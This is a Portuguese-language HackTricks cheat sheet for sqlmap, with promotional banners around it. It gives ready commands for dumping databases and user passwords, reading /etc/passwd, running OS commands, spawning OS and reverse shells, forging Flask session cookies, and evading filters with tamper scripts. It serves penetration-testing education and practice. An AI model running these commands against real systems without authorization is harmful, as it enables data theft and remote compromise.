hacktricks/pentesting-web/sql-injection/sqlmap/README.md

16 KiB

SQLMap - Cheetsheat

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Configuração imediatamente disponível para avaliação de vulnerabilidade & pentesting. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas & recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção & exploração para dar a eles mais tempo para investigar mais a fundo, obter shells e se divertir.

{% embed url="https://pentest-tools.com/" %}

Argumentos básicos para SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Recuperar Informações

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dados do DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Local da Injeção

A partir da captura do Burp/ZAP

Capture a solicitação e crie um arquivo req.txt

sqlmap -r req.txt --current-user

Injeção em Requisição GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injeção em Requisição POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injeções em Cabeçalhos e outros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicar string quando a injeção é bem-sucedida

--string="string_showed_when_TRUE"

Eval

Sqlmap permite o uso de -e ou --eval para processar cada payload antes de enviá-lo com um oneliner Python. Isso torna muito fácil e rápido processar o payload de maneiras personalizadas antes de enviá-lo. No exemplo a seguir, a sessão de cookie flask é assinada pelo flask com o segredo conhecido antes de enviá-la:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Ler Arquivo

--file-read=/etc/passwd

Rastrear um site com SQLmap e auto-exploração

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injeção de Segunda Ordem

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Leia este post sobre como realizar injeções de segunda ordem simples e complexas com sqlmap.

Laboratórios para prática

  • Aprenda sobre sqlmap utilizando-o no THM room:

{% embed url="https://tryhackme.com/room/sqlmap" %}

Personalizando a Injeção

Definir um sufixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ajuda para encontrar injeção booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Lembre-se de que você pode criar seu próprio tamper em python e é muito simples. Você pode encontrar um exemplo de tamper na página de Injeção de Segunda Ordem aqui.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descrição
apostrophemask.py Substitui o caractere apóstrofo pela sua contraparte em largura total UTF-8
apostrophenullencode.py Substitui o caractere apóstrofo por seu equivalente duplo unicode ilegal
appendnullbyte.py Acrescenta caractere byte NULL codificado ao final da carga útil
base64encode.py Codifica em Base64 todos os caracteres em uma dada carga útil
between.py Substitui o operador de maior que ('>') por 'NOT BETWEEN 0 AND #'
bluecoat.py Substitui o caractere de espaço após a instrução SQL por um caractere de espaço em branco válido e aleatório. Depois substitui o caractere = pelo operador LIKE
chardoubleencode.py Codifica duas vezes a URL de todos os caracteres em uma dada carga útil (não processa os já codificados)
commalesslimit.py Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'
commalessmid.py Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'
concat2concatws.py Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica a URL de todos os caracteres em uma dada carga útil (não processa os já codificados)
charunicodeencode.py Codifica em unicode-url caracteres não codificados em uma dada carga útil (não processa os já codificados). "%u0022"
charunicodeescape.py Codifica em unicode-url caracteres não codificados em uma dada carga útil (não processa os já codificados). "\u0022"
equaltolike.py Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE'
escapequotes.py Escapa aspas (' e ") com barra invertida
greatest.py Substitui o operador de maior que ('>') pelo equivalente 'GREATEST'
halfversionedmorekeywords.py Adiciona comentário MySQL versionado antes de cada palavra-chave
ifnull2ifisnull.py Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Envolve a consulta completa com comentário versionado
modsecurityzeroversioned.py Envolve a consulta completa com comentário versionado zero
multiplespaces.py Adiciona múltiplos espaços ao redor de palavras-chave SQL
nonrecursivereplacement.py Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros
percentage.py Adiciona um sinal de porcentagem ('%') na frente de cada caractere
overlongutf8.py Converte todos os caracteres em uma dada carga útil (não processa os já codificados)
randomcase.py Substitui cada caractere de palavra-chave por um valor de caixa aleatória
randomcomments.py Adiciona comentários aleatórios às palavras-chave SQL
securesphere.py Acrescenta uma string especialmente elaborada
sp_password.py Acrescenta 'sp_password' ao final da carga útil para obfuscação automática dos logs do DBMS
space2comment.py Substitui o caractere de espaço (' ') por comentários
space2dash.py Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma string aleatória e uma nova linha ('\n')
space2hash.py Substitui o caractere de espaço (' ') por um caractere de cerquilha ('#') seguido por uma string aleatória e uma nova linha ('\n')
space2morehash.py Substitui o caractere de espaço (' ') por um caractere de cerquilha ('#') seguido por uma string aleatória e uma nova linha ('\n')
space2mssqlblank.py Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mssqlhash.py Substitui o caractere de espaço (' ') por um caractere de cerquilha ('#') seguido por uma nova linha ('\n')
space2mysqlblank.py Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mysqldash.py Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma nova linha ('\n')
space2plus.py Substitui o caractere de espaço (' ') por um mais ('+')
space2randomblank.py Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
symboliclogical.py Substitui operadores lógicos AND e OR por seus equivalentes simbólicos (&& e
unionalltounion.py Substitui UNION ALL SELECT por UNION SELECT
unmagicquotes.py Substitui o caractere de aspas (') por uma combinação de bytes múltiplos %bf%27 junto com um comentário genérico no final (para funcionar)
uppercase.py Substitui cada caractere de palavra-chave por um valor em caixa alta 'INSERT'
varnish.py Acrescenta um cabeçalho HTTP 'X-originating-IP'
versionedkeywords.py Encerra cada palavra-chave não-funcional com comentário MySQL versionado
versionedmorekeywords.py Encerra cada palavra-chave com comentário MySQL versionado
xforwardedfor.py Acrescenta um falso cabeçalho HTTP 'X-Forwarded-For'

Configuração imediatamente disponível para avaliação de vulnerabilidade & pentesting. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas & recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção & exploração para lhes dar mais tempo para investigar mais a fundo, explorar sistemas e se divertir.

{% embed url="https://pentest-tools.com/" %}

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: